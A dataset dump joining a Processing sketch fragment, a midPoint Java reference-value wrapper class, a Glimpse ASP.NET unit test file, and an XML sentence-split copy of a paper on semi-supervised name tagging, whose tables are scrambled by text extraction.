for (int i = 0; i < cant; i++) {
rect(i*th, j*tv, th, tv);
}
}
}
void draw() {
fill(0);
int x = int(mouseX/th);
int y = int(mouseY/tv);
rect(x*th, y*tv, th, tv);
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2010-2018 Evolveum and contributors
*
* This work is dual-licensed under the Apache License 2.0
* and European Union Public License. See LICENSE file for details.
*/
package com.evolveum.midpoint.gui.impl.prism.wrapper;
import com.evolveum.midpoint.gui.api.prism.wrapper.PrismReferenceWrapper;
import com.evolveum.midpoint.gui.api.util.WebComponentUtil;
import com.evolveum.midpoint.prism.PrismReferenceValue;
import com.evolveum.midpoint.prism.PrismValue;
import com.evolveum.midpoint.prism.Referencable;
import com.evolveum.midpoint.util.PrettyPrinter;
import com.evolveum.midpoint.web.component.prism.ValueStatus;
import javax.xml.namespace.QName;
/**
* @author katka
*
*/
public class PrismReferenceValueWrapperImpl<T extends Referencable> extends PrismValueWrapperImpl<T> {
private static final long serialVersionUID = 1L;
public PrismReferenceValueWrapperImpl(PrismReferenceWrapper<T> parent, PrismReferenceValue value, ValueStatus status) {
super(parent, value, status);
}
private boolean editEnabled = true;
private boolean isLink = false;
@Override
public void setRealValue(T realValueReferencable) {
PrismReferenceValue value = getNewValue();
PrismReferenceValue realValue = realValueReferencable.asReferenceValue();
value.setOid(realValue.getOid());
value.setOriginType(realValue.getOriginType());
value.setOriginObject(realValue.getOriginObject());
value.setTargetName(realValue.getTargetName());
value.setTargetType(realValue.getTargetType());
value.setRelation(realValue.getRelation());
value.setFilter(realValue.getFilter());
setStatus(ValueStatus.MODIFIED);
}
public boolean isEditEnabled() {
return editEnabled;
}
public void setEditEnabled(boolean editEnabled) {
this.editEnabled = editEnabled;
}
public boolean isLink() {
return isLink;
}
public void setLink(boolean link) {
isLink = link;
}
@Override
public PrismReferenceValue getNewValue() {
return super.getNewValue();
}
@Override
public String toShortString() {
T referencable = getRealValue();
if (referencable == null) {
return "";
}
return getRefName(referencable) + " (" + getTargetType(referencable) + ")";
}
private String getRefName(T referencable) {
return referencable.getTargetName() != null ? WebComponentUtil.getOrigStringFromPoly(referencable.getTargetName()) : referencable.getOid();
}
private String getTargetType(T referencable) {
QName type = referencable.getType();
return type != null ? type.getLocalPart() : "";
}
}
|
{
"pile_set_name": "Github"
}
|
using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Reflection;
using System.Text;
using System.Web;
using Glimpse.AspNet.Model;
using Glimpse.AspNet.Tab;
using Glimpse.Core.Extensibility;
using Moq;
using Xunit;
namespace Glimpse.Test.AspNet.Tab
{
public class EnvironmentShould
{
[Fact]
public void HaveProperContextObjectType()
{
var request = new Glimpse.AspNet.Tab.Environment();
Assert.Equal(typeof(HttpContextBase), request.RequestContextType);
}
[Fact]
public void UseDefaultLifeCycleSupport()
{
var request = new Glimpse.AspNet.Tab.Environment();
Assert.Equal(RuntimeEvent.EndRequest, request.ExecuteOn);
}
[Fact]
public void BeNamedEnvironment()
{
var request = new Glimpse.AspNet.Tab.Environment();
Assert.Equal("Environment", request.Name);
}
[Fact]
public void HaveADocumentationUri()
{
var request = new Glimpse.AspNet.Tab.Environment();
Assert.False(string.IsNullOrWhiteSpace(request.DocumentationUri));
}
[Fact]
public void ReturnData()
{
var serverKeys = new NameValueCollection();
var requestMock = new Mock<HttpRequestBase>();
requestMock.Setup(x => x.ServerVariables).Returns(serverKeys);
var httpBaseMock = new Mock<HttpContextBase>();
httpBaseMock.Setup(c => c.IsDebuggingEnabled).Returns(true);
httpBaseMock.Setup(c => c.Request).Returns(requestMock.Object);
httpBaseMock.Setup(c => c.Application["Glimpse.AspNet.Environment"]).Returns(null);
var contextMock = new Mock<ITabContext>();
contextMock.Setup(c => c.GetRequestContext<HttpContextBase>()).Returns(httpBaseMock.Object);
var request = new TestEnvironment();
var result = request.GetData(contextMock.Object);
Assert.NotNull(result);
Assert.NotNull(result as EnvironmentModel);
}
[Fact]
public void ReturnStoredData()
{
var model = new EnvironmentModel();
var httpBaseMock = new Mock<HttpContextBase>();
httpBaseMock.Setup(c => c.Application["Glimpse.AspNet.Environment"]).Returns(model);
var contextMock = new Mock<ITabContext>();
contextMock.Setup(c => c.GetRequestContext<HttpContextBase>()).Returns(httpBaseMock.Object);
var request = new Glimpse.AspNet.Tab.Environment();
var result = request.GetData(contextMock.Object);
Assert.Same(model, result);
}
public class TestEnvironment : Glimpse.AspNet.Tab.Environment
{
protected override IEnumerable<Assembly> FindAllAssemblies()
{
return new List<Assembly> { Assembly.GetExecutingAssembly() };
}
}
}
}
|
{
"pile_set_name": "Github"
}
|
<PAPER>
<ABSTRACT>
<S sid ="1" ssid = "1">We present two semi-supervised learning techniques to improve a state-of-the-art multilingual name tagger.</S>
<S sid ="2" ssid = "2">For English and Chinese, the overall system obtains 1.7% - 2.1% improvement in F-measure, representing a 13.5% - 17.4% relative reduction in the spurious, missing, and incorrect tags.</S>
<S sid ="3" ssid = "3">We also conclude that simply relying upon large corpora is not in itself sufficient: we must pay attention to unlabeled data selection too.</S>
<S sid ="4" ssid = "4">We describe effective measures to automatically select documents and sentences.</S>
</ABSTRACT>
<SECTION title="Introduction" number = "1">
<S sid ="5" ssid = "5">When applying machine learning approaches to natural language processing tasks, it is time- consuming and expensive to hand-label the large amounts of training data necessary for good performance.</S>
<S sid ="6" ssid = "6">Unlabeled data can be collected in much larger quantities.</S>
<S sid ="7" ssid = "7">Therefore, a natural question is whether we can use unlabeled data to build a more accurate learner, given the same amount of labeled data.</S>
<S sid ="8" ssid = "8">This problem is often referred to as semi-supervised learning.</S>
<S sid ="9" ssid = "9">It significantly reduces the effort needed to develop a training set.</S>
<S sid ="10" ssid = "10">It has shown promise in improving the performance of many tasks such as name tagging (Miller et al., 2004), semantic class extraction (Lin et al., 2003), chunking (Ando and Zhang, 2005), coreference resolution (Bean and Riloff, 2004) and text classification (Blum and Mitchell, 1998).</S>
<S sid ="11" ssid = "11">However, it is not clear, when semi-supervised learning is applied to improve a learner, how the system should effectively select unlabeled data, and how the size and relevance of data impact the performance.</S>
<S sid ="12" ssid = "12">In this paper we apply two semi-supervised learning algorithms to improve a state-of-the-art name tagger.</S>
<S sid ="13" ssid = "13">We run the baseline name tagger on a large unlabeled corpus (bootstrapping) and the test set (self-training), and automatically generate high-confidence machine-labeled sentences as additional ‘training data’.</S>
<S sid ="14" ssid = "14">We then iteratively retrain the model on the increased ‘training data’.</S>
<S sid ="15" ssid = "15">We first investigated whether we can improve the system by simply using a lot of unlabeled data.</S>
<S sid ="16" ssid = "16">By dramatically increasing the size of the corpus with unlabeled data, we did get a significant improvement compared to the baseline system.</S>
<S sid ="17" ssid = "17">But we found that adding off-topic unlabeled data sometimes makes the performance worse.</S>
<S sid ="18" ssid = "18">Then we tried to select relevant documents from the unlabeled data in advance, and got clear further improvements.</S>
<S sid ="19" ssid = "19">We also obtained significant improvement by self-training (boot- strapping on the test data) without any additional unlabeled data.</S>
<S sid ="20" ssid = "20">Therefore, in contrast to the claim in (Banko and Brill, 2001), we concluded that, for some applications, effective use of large unlabeled corpora demands good data selection measures.</S>
<S sid ="21" ssid = "21">We propose and quantify some effective measures to select documents and sentences in this paper.</S>
<S sid ="22" ssid = "22">The rest of this paper is structured as follows.</S>
<S sid ="23" ssid = "23">Section 2 briefly describes the efforts made by previous researchers to use semi-supervised learning as well as the work of (Banko and Brill, 2001).</S>
<S sid ="24" ssid = "24">Section 3 presents our baseline name tag- ger.</S>
<S sid ="25" ssid = "25">Section 4 describes the motivation for our approach while Section 5 presents the details of two semi-supervised learning methods.</S>
<S sid ="26" ssid = "26">Section 6 presents and discusses the experimental results on both English and Chinese.</S>
<S sid ="27" ssid = "27">Section 7 presents our conclusions and directions for future work.</S>
</SECTION>
<SECTION title="Prior Work. " number = "2">
<S sid ="28" ssid = "1">This work presented here extends a substantial body of previous work (Blum and Mitchell, 1998; Riloff and Jones, 1999; Ando and Zhang, 2005) 48 Proceedings of the Workshop on Information Extraction Beyond The Document, pages 48–55, Sydney, July 2006.</S>
<S sid ="29" ssid = "2">Qc 2006 Association for Computational Linguistics that all focus on reducing annotation requirements.</S>
<S sid ="30" ssid = "3">For the specific task of named entity annotation, some researchers have emphasized the creation of taggers from minimal seed sets (Strzalkowski and Wang, 1996; Collins and Singer, 1999; Lin et al., 2003) while another line of inquiry (which we are pursuing) has sought to improve on high-performance baseline taggers (Miller et al., 2004).</S>
<S sid ="31" ssid = "4">Banko and Brill (2001) suggested that the development of very large training corpora may be most effective for progress in empirical natural language processing.</S>
<S sid ="32" ssid = "5">Their experiments show a logarithmic trend in performance as corpus size increases without performance reaching an upper bound.</S>
<S sid ="33" ssid = "6">Recent work has replicated their work on thesaurus extraction (Curran and Moens, 2002) and is-a relation extraction (Ravichandran et al., 2004), showing that collecting data over a very large corpus significantly improves system performance.</S>
<S sid ="34" ssid = "7">However, (Curran, 2002) and (Curran and Osborne, 2002) claimed that the choice of statistical model is more important than relying upon large corpora.</S>
</SECTION>
<SECTION title="Motivation. " number = "3">
<S sid ="35" ssid = "1">The performance of name taggers has been limited in part by the amount of labeled training data available.</S>
<S sid ="36" ssid = "2">How can an unlabeled corpus help to address this problem?</S>
<S sid ="37" ssid = "3">Based on its original training (on the labeled corpus), there will be some tags (in the unlabeled corpus) that the tagger will be very sure about.</S>
<S sid ="38" ssid = "4">For example, there will be contexts that were always followed by a person name (e.g., "Capt.") in the training corpus.</S>
<S sid ="39" ssid = "5">If we find a new token T in this context in the unlabeled corpus, we can be quite certain it is a person name.</S>
<S sid ="40" ssid = "6">If the tagger can learn this fact about T, it can successfully tag T when it appears in the test corpus without any indicative context.</S>
<S sid ="41" ssid = "7">In the same way, if a previously-unseen context appears consistently in the unlabeled corpus before known person names, the tagger should learn that this is a predictive context.</S>
<S sid ="42" ssid = "8">We have adopted a simple learning approach: we take the unlabeled text about which the tagger has greatest confidence in its decisions, tag it, add it to the training set, and retrain the tagger.</S>
<S sid ="43" ssid = "9">This process is performed repeatedly to bootstrap ourselves to higher performance.</S>
<S sid ="44" ssid = "10">This approach can be used with any supervised-learning tagger that can produce some reliable measure of confidence in its decisions.</S>
</SECTION>
<SECTION title="Baseline Multi-lingual Name Tagger. " number = "4">
<S sid ="45" ssid = "1">Our baseline name tagger is based on an HMM that generally follows the Nymble model (Bikel et al, 1997).</S>
<S sid ="46" ssid = "2">Then it uses best-first search to generate NBest hypotheses, and also computes the margin – the difference between the log probabilities of the top two hypotheses.</S>
<S sid ="47" ssid = "3">This is used as a rough measure of confidence in our name tagging.1 In processing Chinese, to take advantage of name structures, we do name structure parsing using an extended HMM which includes a larger number of states (14).</S>
<S sid ="48" ssid = "4">This new HMM can handle name prefixes and suffixes, and transliterated foreign names separately.</S>
<S sid ="49" ssid = "5">We also augmented the HMM model with a set of post-processing rules to correct some omissions and systematic errors.</S>
<S sid ="50" ssid = "6">The name tagger identifies three name types: Person (PER), Organization (ORG) and Geopolitical (GPE) entities (locations which are also political units, such as countries, counties, and cities).</S>
</SECTION>
<SECTION title="Two Semi-Supervised Learning Meth-. " number = "5">
<S sid ="51" ssid = "1">ods for Name Tagging We have applied this bootstrapping approach to two sources of data: first, to a large corpus of unlabeled data and second, to the test set.</S>
<S sid ="52" ssid = "2">To distinguish the two, we shall label the first "boot- strapping" and the second "self-training".</S>
<S sid ="53" ssid = "3">We begin (Sections 5.1 and 5.2) by describing the basic algorithms used for these two processes.</S>
<S sid ="54" ssid = "4">We expected that these basic methods would provide a substantial performance boost, but our experiments showed that, for best gain, the additional training data should be related to the target problem, namely, our test set.</S>
<S sid ="55" ssid = "5">We present measures to select documents (Section 5.3) and sentences (Section 5.4), and show (in Section 6) the effectiveness of these measures.</S>
<S sid ="56" ssid = "6">5.1 Bootstrapping.</S>
<S sid ="57" ssid = "7">We divided the large unlabeled corpus into segments based on news sources and dates in order to: 1) create segments of manageable size; 2) separately evaluate the contribution of each segment (using a labeled development test set) and reject those which do not help; and 3) apply the latest updated best model to each subsequent 1 We have also used this metric in the context of rescoring of.</S>
<S sid ="58" ssid = "8">name hypotheses (Ji and Grishman, 2005); Scheffer et al.</S>
<S sid ="59" ssid = "9">(2001) used a similar metric for active learning of name tags.</S>
<S sid ="60" ssid = "10">segment.</S>
<S sid ="61" ssid = "11">The procedure can be formalized as follows.</S>
<S sid ="62" ssid = "12">1.</S>
<S sid ="63" ssid = "13">Select a related set RelatedC from a large cor-.</S>
<S sid ="64" ssid = "14">pus of unlabeled data with respect to the test set TestT, using the document selection method described in section 5.3.</S>
<S sid ="65" ssid = "15">2. Split RelatedC into n subsets and mark them.</S>
<S sid ="66" ssid = "16">C1, C2…Cn.</S>
<S sid ="67" ssid = "17">Call the updated HMM name tagger NameM (initially the baseline tagger), and a development test set DevT.</S>
<S sid ="68" ssid = "18">3.</S>
<S sid ="69" ssid = "19">For i=1 to n.</S>
<S sid ="70" ssid = "20">(1) Run NameM on Ci; (2) For each tagged sentence S in Ci, if S is tagged with high confidence, then keep S; otherwise remove S; (3) Relabel the current name tagger (NameM) as OldNameM, add Ci to the training data, and retrain the name tagger, producing an updated model NameM; (4) Run NameM on DevT; if the performance gets worse, don’t use Ci and reset NameM = OldNameM; 5.2 Self-training.</S>
<S sid ="71" ssid = "21">An analogous approach can be used to tag the test set.</S>
<S sid ="72" ssid = "22">The basic intuition is that the sentences in which the learner has low confidence may get support from those sentences previously labeled with high confidence.</S>
<S sid ="73" ssid = "23">Initially, we build the baseline name tagger from the labeled examples, then gradually add the most confidently tagged test sentences into the training corpus, and reuse them for the next iteration, until all sentences are labeled.</S>
<S sid ="74" ssid = "24">The procedure can be formalized as follows.</S>
<S sid ="75" ssid = "25">1.</S>
<S sid ="76" ssid = "26">Cluster the test set TestT into n clusters T1,.</S>
<S sid ="77" ssid = "27">T2, …,Tn, by collecting document pairs with low cross entropy (described in section 5.3.2) into the same cluster.</S>
<S sid ="78" ssid = "28">2.</S>
<S sid ="79" ssid = "29">For i=1 to n.</S>
<S sid ="80" ssid = "30">(1) NameM = baseline HMM name tagger; c. For each tagged sentence S in Ti, if S is tagged with high confidence, add S to the training data; d. Retrain the name tagger NameM with augmented training data.</S>
<S sid ="81" ssid = "31">At each iteration, we lower the threshold so that about 5% of the sentences (with the largest margin) are added to the training corpus.2 As an example, this yielded the following gradually improving performance for one English cluster including 7 documents and 190 sentences.</S>
<S sid ="82" ssid = "32">N o . o f it e r a ti o n s N o . o f s e n t e n c e s a d d e d N o . o f t a g s c h a n ge dF M ea su re 0 0 0 9 1 . 4 1 3 7 2 8 9 1 . 9 2 6 9 2 2 9 2 . 1 3 1 0 7 2 1 9 2 . 4 4 1 2 8 1 1 9 2 . 6 5 1 4 6 9 9 2 . 7 6 1 6 3 8 9 2 . 8 7 1 7 8 6 9 2 . 8 8 1 9 0 0 9 2 . 8 Table 1.</S>
<S sid ="83" ssid = "33">Incremental Improvement from Self-training (English) Self-training can be considered a cache model variant, operating across the entire test collection.</S>
<S sid ="84" ssid = "34">But it uses confidence measures as weights for each name candidate, and relies on names tagged with high confidence to readjust the prediction of the remaining names, while in a cache model, all name candidates are equally weighted for voting (independent of the learner’s confidence).</S>
<S sid ="85" ssid = "35">5.3 Unlabeled Document Selection.</S>
<S sid ="86" ssid = "36">To further investigate the benefits of using very large corpora in bootstrapping, and also inspired by the gain from the “essence” of self-training, which aims to gradually emphasize the predictions from related sentences within the test set, we reconsidered the assumptions of our approach.</S>
<S sid ="87" ssid = "37">The bootstrapping method implicitly assumes that the unlabeled data is reliable (not noisy) and uniformly useful, namely: (2) While (there are new sentences tagged with confidence higher than a threshold) a. Run NameM on Ti; b. Set an appropriate threshold for margin; 2 To be precise, we repeatedly reduce the threshold by 0.1.</S>
<S sid ="88" ssid = "38">until an additional 5% or more of the sentences are included; however, if more than an additional 20% of the sentences are captured because many sentences have the same margin, we add back 0.1 to the threshold.</S>
<S sid ="89" ssid = "39">• The unlabeled data supports the acquisition of new names and contexts, to provide new evidence to be incorporated in HMM and reduce the sparse data problem; • The unlabeled data won’t make the old esti mates worse by adding too many names whose tags are incorrect, or at least are incorrect in the context of the labeled training data and the test data.</S>
<S sid ="90" ssid = "40">If the unlabeled data is noisy or unrelated to the test data, it can hurt rather than improve the learner’s performance on the test set.</S>
<S sid ="91" ssid = "41">So it is necessary to coarsely measure the relevance of the unlabeled data to our target test set.</S>
<S sid ="92" ssid = "42">We define an IR (information retrieval) - style relevance measure between the test set TestT and an unlabeled document d as follows.</S>
<S sid ="93" ssid = "43">5.3.1 ‘Query set’ construction We model the information expected from the unlabeled data by a 'bag of words' technique.</S>
<S sid ="94" ssid = "44">We construct a query term set from the test corpus TestT to check whether each unlabeled document d is useful or not.</S>
<S sid ="95" ssid = "45">• We prefer not to use all the words in TestT as key words, since we are only concerned about the distribution of name candidates.</S>
<S sid ="96" ssid = "46">(Adding off-topic documents may in fact introduce noise into the model).</S>
<S sid ="97" ssid = "47">For example, if one document in TestT talks about the presidential election in France while d talks about the presidential election in the US, they may share many common words such as 'election', ’voting’, 'poll', and ‘camp’, but we would expect more gain from other unlabeled documents talking about the French election, since they may share many name candidates.</S>
<S sid ="98" ssid = "48">• On the other hand it is insufficient to only take the name candidates in the top one hypothesis for each sentence (since we are particularly concerned with tokens which might be names but are not so labeled in the top hypothesis).</S>
<S sid ="99" ssid = "49">So our solution is to take all the name candidates in the top N best hypotheses for each sentence to construct a query set Q. 5.3.2 Cross-entropy Measure Using Q, we compute the cross entropy H(TestT, d) between TestT and d by: H(TestT, d) = −∑ prob(x | TestT) × log2 prob(x | d) x∈Q where x is a name candidate in Q, and prob(x|TestT) is the probability (frequency) of x appearing in TestT while prob(x|d) is the probability of x in d. If H(T, d) is smaller than a threshold then we consider d a useful unlabeled document3.</S>
<S sid ="100" ssid = "50">5.4 Sentence.</S>
<S sid ="101" ssid = "51">Selection We don’t want to add all the tagged sentences in a relevant document to the training corpus because incorrectly tagged or irrelevant sentences can lead to degradation in model performance.</S>
<S sid ="102" ssid = "52">The value of larger corpora is partly dependent on how much new information is extracted from each sentence of the unlabeled data compared to the training corpus that we already have.</S>
<S sid ="103" ssid = "53">The following confidence measures were applied to assist the semi-supervised learning algorithm in selecting useful sentences for retraining the model.</S>
<S sid ="104" ssid = "54">5.4.1 Margin to find reliable sentences For each sentence, we compute the HMM hypothesis margin (the difference in log probabilities) between the first hypothesis and the second hypothesis.</S>
<S sid ="105" ssid = "55">We select the sentences with margins larger than a threshold4 to be added to the training data.</S>
<S sid ="106" ssid = "56">Unfortunately, the margin often comes down to whether a specific word has previously been observed in training; if the system has seen the word, it is certain, if not, it is uncertain.</S>
<S sid ="107" ssid = "57">Therefore the sentences with high margins are a mix of interesting and uninteresting samples.</S>
<S sid ="108" ssid = "58">We need to apply additional measures to remove the uninteresting ones.</S>
<S sid ="109" ssid = "59">On the other hand, we may have confidence in a tagging due to evidence external to the HMM, so we explored measures beyond the HMM margin in order to recover additional sentences.</S>
<S sid ="110" ssid = "60">3 We also tried a single match method, using the query set.</S>
<S sid ="111" ssid = "61">to find all the relevant documents that include any names belonging to Q, and got approximately the same result as cross-entropy.</S>
<S sid ="112" ssid = "62">In addition to this relevance selection, we used one other simple filter: we removed a document if it includes fewer than five names, because it is unlikely to be news.</S>
<S sid ="113" ssid = "63">4 In bootstrapping, this margin threshold is selected by.</S>
<S sid ="114" ssid = "64">test ing on the development set, to achieve more than 93% F- Measure.</S>
<S sid ="115" ssid = "65">Unlabeled Data Cross-entropy based Document Selection Test Set Cross-entropy based Document Clustering C1 … Ci … Cn T1 … Ti … Tn iÅ1 iÅ1 Yes i < n?</S>
<S sid ="116" ssid = "66">NameM Å baseline tagger Yes i < n?</S>
<S sid ="117" ssid = "67">NameM Å baseline tagger OldNameM Å NameM Ci’ÅCi tagged with NameM C ”Å sentences selected from C ’ Ti’Å Ti tagged with NameM Set margin threshold i=i+1 Save Ti’ as system output i i Add Ci” to training corpus i=i+1 Ti”Å sentences selected from Ti’ Retrain NameM Ti” Empty?</S>
<S sid ="118" ssid = "68">Yes NameM performs better on dev set?</S>
<S sid ="119" ssid = "69">No NameM Å OldNameM Yes No Add Ti” to training corpus R e t r a i n N a m e M Figure 1.</S>
<S sid ="120" ssid = "70">Bootstrapping for Name Tagging Figure 2.</S>
<S sid ="121" ssid = "71">Self-Training for Name Tagging D a t a E n g l i s h C h i n e s e B a s e l i n e T r a i n i n g d a t a AC E0 2,0 3,0 4 98 9,0 03 wo rds Bei jin g Co rp us +A CE 03, 04, 05 1,4 60, 64 8 wo rds U n l a b e l e d D a t a T o t a l 19 6,4 94 do cs in Mar Ju n of 20 03 (69 M wo rds ) fro m AC E0 5 unl ab ele d dat a 41 06 1 do cs in N ov ,D ec of 20 00 , an d Ja n of 20 01 (2 5 M w or ds ) fr o m A C E 05 an d T D T 4 tr an sc ri pt s S e l e c t e d D o c s 62 58 4 do cs (1, 31 4,1 48 Se nte nce s) 14, 53 7 do cs (22 2,3 59 sen ten ces ) S el e ct e d Se nt en ce s 29 0,9 73 sen ten ces (6, 04 9,3 78 wo rds ) 55, 38 5 sen ten ces (1, 12 8,5 05 wo rds ) D e v S e t 20 AC E0 4 tex ts in Oc t of 20 00 90 AC E0 5 tex ts in Oc t of 20 00 T e s t S e t 20 AC E0 4 tex ts in Oc t of 20 00 a n d 8 0 A C E 0 5 t e x t s i n M a r M a y o f 2 0 0 3 ( 3 0 9 3 n a m e s , 1 2 0 5 P E R s , 1 0 2 1 G P E s , 8 6 7 O R Gs ) 90 AC E0 5 tex ts in Oc t of 20 00 (30 93 na me s, 10 13 PE Rs, 69 5 GP Es, 76 9 O R Gs ) Table 2.</S>
<S sid ="122" ssid = "72">Data Description 5.4.2 Name coreference to find more reliable sentences Names introduced in an article are likely to be referred to again, so a name coreferred to by more other names is more likely to have been correctly tagged.</S>
<S sid ="123" ssid = "73">In this paper, we use simple coreference resolution between names such as substring matching and name abbreviation reso lution.</S>
<S sid ="124" ssid = "74">We present in section 6.2 – 6.4 the overall performance of precision (P), recall (R) and F- measure (F) for both languages, and also some diagnostic experiment results.</S>
<S sid ="125" ssid = "75">For significance testing (using the sign test), we split the test set into 5 folders, 20 texts in each folder of English, and 18 texts in each folder of Chinese.</S>
<SUBSECTION>6.2 Overall Performance.</SUBSECTION>
<S sid ="126" ssid = "76">Table 3 and Table 4 present the overall perform 6In the bootstrapping method we apply single anceby applying the two semi-supervised learn document coreference for each individual unlabeled text.</S>
<S sid ="127" ssid = "77">In self-training, in order to further benefit from global contexts, we consider each cluster of relevant texts as one single big document, and then apply cross-document coreference.</S>
<S sid ="128" ssid = "78">Assume S is one sentence in the document, and there are k names tagged in S: {N1, N2 .…..</S>
<S sid ="129" ssid = "79">Nk}, which are coreferred to by {CorefNum1, CorefNum2, …CorefNumk} other names separately.</S>
<S sid ="130" ssid = "80">Then we use the following average name coreference count AveCoref as a confidence measure for tagging S:5 ing methods, separately and in combination, to our baseline name tagger.</S>
<S sid ="131" ssid = "81">L e a r n e r P R F B a s e l i n e 87.</S>
<S sid ="132" ssid = "82">3 87.</S>
<S sid ="133" ssid = "83">6 87 .4 B o o t s t r a p p i n g w i t h d a t a s e l e c t i o n 88.</S>
<S sid ="134" ssid = "84">2 88.</S>
<S sid ="135" ssid = "85">6 88 .4 S e l f t r a i n i n g 88.</S>
<S sid ="136" ssid = "86">1 88.</S>
<S sid ="137" ssid = "87">4 88 .2 B o o t s t r a p p i n g w i t h d a t a s e l e c t i o n + S e l f t r a i n i n g 89.</S>
<S sid ="138" ssid = "88">0 89.</S>
<S sid ="139" ssid = "89">2 89 .1 Table 3.</S>
<S sid ="140" ssid = "90">English Name Tagger AveCoref k = (∑ CorefNumi ) / k i=1 5.4.3 Name count and sentence length to remove uninteresting sentences In bootstrapping on unlabeled data, the margin criterion often selects some sentences which are too short or don’t include any names.</S>
<S sid ="141" ssid = "91">Although they are tagged with high confidence, they may make the model worse if added into the training data (for example, by artificially increasing the probability of non-names).</S>
<S sid ="142" ssid = "92">In our experiments we don’t use a sentence if it includes fewer than six words, or doesn’t include any names.</S>
<S sid ="143" ssid = "93">5.5 Data Flow.</S>
<S sid ="144" ssid = "94">We depict the above two semi-supervised learning methods in Figure 1 and Figure 2.</S>
</SECTION>
<SECTION title="Evaluation Results and Discussions. " number = "6">
<S sid ="145" ssid = "1">6.1 Data.</S>
<S sid ="146" ssid = "2">We evaluated our system on two languages: English and Chinese.</S>
<S sid ="147" ssid = "3">Table 2 shows the data used in our experiments.</S>
<S sid ="148" ssid = "4">5 For the experiments reported here, sentences were selected.</S>
<S sid ="149" ssid = "5">if AveCoref > 3.1 (or 3.1×number of documents for cross document coreference) or the sentence margin exceeded the margin threshold.</S>
<S sid ="150" ssid = "6">Table 4.</S>
<S sid ="151" ssid = "7">Chinese Name Tagger For English, the overall system achieves a 13.4% relative reduction on the spurious and incorrect tags, and 12.9% reduction in the missing rate.</S>
<S sid ="152" ssid = "8">For Chinese, it achieves a 16.9% relative reduction on the spurious and incorrect tags, and 16.9% reduction in the missing rate.7 For each of the five folders, we found that both bootstrapping and self-training produced an improvement in F score for each folder, and the combination of two methods is always better than each method alone.</S>
<S sid ="153" ssid = "9">This allows us to reject the hypothesis that these 6 Only names which exactly match the key in both extent.</S>
<S sid ="154" ssid = "10">and type are counted as correct; unlike MUC scoring, no partial credit is given.</S>
</SECTION>
<SECTION title="The performance achieved should be considered in light of. " number = "7">
<S sid ="155" ssid = "1">human performance on this task.</S>
<S sid ="156" ssid = "2">The ACE keys used for the evaluations were obtained by dual annotation and adjudication.</S>
<S sid ="157" ssid = "3">A single annotator, evaluated against the key, scored F=93.6% to 94.1% for English and 92.5% to 92.7% for Chinese.</S>
<S sid ="158" ssid = "4">A second key, created independently by dual annotation and adjudication for a small amount of the Eng lish data, scored F=96.5% against the original key.</S>
<S sid ="159" ssid = "5">improvements were random at a 95% confidence level.</S>
<S sid ="160" ssid = "6">6.3 Analysis of Bootstrapping.</S>
<S sid ="161" ssid = "7">6.3.1 Impact of Data Size Figure 3 and 4 below show the results as each segment of the unlabeled data is added to the training corpus.</S>
<S sid ="162" ssid = "8">Figure 3.</S>
<S sid ="163" ssid = "9">Impact of Data Size (English) Figure 4.</S>
<S sid ="164" ssid = "10">Impact of Data Size (Chinese) We can see some flattening of the gain at the end, particularly for the larger English corpus, and that some segments do not help to boost the performance (reflected as dips in the Dev Set curve and gaps in the Test Set curve).</S>
<S sid ="165" ssid = "11">6.3.2 Impact of Data Selection In order to investigate the contribution of document selection in bootstrapping, we performed diagnostic experiments for Chinese, whose results are shown in Table 5.</S>
<S sid ="166" ssid = "12">All the bootstrapping tests (rows 24) use margin for sentence selection; row 4 augments this with the selection methods described in sections 5.4.2 and 5.4.3.</S>
<S sid ="167" ssid = "13">Table 5.</S>
<S sid ="168" ssid = "14">Impact of Data Selection (Chinese) Comparing row 2 with row 3, we find that notusing document selection, even though it multi plies the size of the corpus, results in 0.3% lower performance (0.30.4% loss for each folder).</S>
<S sid ="169" ssid = "15">This leads us to conclude that simply relying upon large corpora is not in itself sufficient.</S>
<S sid ="170" ssid = "16">Effective use of large corpora demands good confidence measures for document selection to remove off- topic material.</S>
<S sid ="171" ssid = "17">By adding sentence selection (results in row 4) the system obtained 0.5% further improvement in F-Measure (0.40.7% for each folder).</S>
<S sid ="172" ssid = "18">All improvements are statistically significant at the 95% confidence level.</S>
<S sid ="173" ssid = "19">6.4 Analysis of Self-training.</S>
<S sid ="174" ssid = "20">We have applied and evaluated different measures to extract high-confidence sentences in self- training.</S>
<S sid ="175" ssid = "21">The contributions of these confidence measures to F-Measure are presented in Table 6.</S>
<S sid ="176" ssid = "22">C o n f i d e n c e M e a s u r e E n gl is h C hi ne se B a s e l i n e 8 7 . 4 8 7 . 9 M a r g i n 8 7 . 8 8 8 . 3 M a r g i n + s i n g l e d o c n a m e c o r e f e r e n c e 8 8 . 0 8 8 . 7 M a r g i n + c r o s s d o c n a m e c o r e f e r e n c e 8 8 . 2 8 8 . 9 Table 6.</S>
<S sid ="177" ssid = "23">Impact of Confidence Measures It shows that Chinese benefits more from adding name coreference, mainly because there are more coreference links between name abbreviations and full names.</S>
<S sid ="178" ssid = "24">And we also can see that the margin is an important measure for both languages.</S>
<S sid ="179" ssid = "25">All differences are statistically significant at the 95% confidence level except for the gain using cross-document information for the Chinese name tagging.</S>
<S sid ="180" ssid = "26">7 Conclusions and Future Work.</S>
<S sid ="181" ssid = "27">This paper demonstrates the effectiveness of two straightforward semi-supervised learning methods for improving a state-of-art name tagger, and investigates the importance of data selection for this application.</S>
<S sid ="182" ssid = "28">Banko and Brill (2001) suggested that the development of very large training corpora may be central to progress in empirical natural language processing.</S>
<S sid ="183" ssid = "29">When using large amounts of unlabeled data, as expected, we did get improvement by using unsupervised bootstrapping.</S>
<S sid ="184" ssid = "30">However, exploiting a very large corpus did not by itself produce the greatest performance gain.</S>
<S sid ="185" ssid = "31">Rather, we observed that good measures to select relevant unlabeled documents and useful labeled sentences are important.</S>
<S sid ="186" ssid = "32">The work described here complements the active learning research described by (Scheffer et al., 2001).</S>
<S sid ="187" ssid = "33">They presented an effective active learning approach that selects “difficult” (small margin) sentences to label by hand and then add to the training set.</S>
<S sid ="188" ssid = "34">Our approach selects “easy” sentences – those with large margins – to add automatically to the training set.</S>
<S sid ="189" ssid = "35">Combining these methods can magnify the gains possible with active learning.</S>
<S sid ="190" ssid = "36">In the future we plan to try topic identification techniques to select relevant unlabeled documents, and use the downstream information extraction components such as coreference resolution and relation detection to measure the confidence of the tagging for sentences.</S>
<S sid ="191" ssid = "37">We are also interested in applying clustering as a pre- processing step for bootstrapping.</S>
</SECTION>
<SECTION title="Acknowledgment">
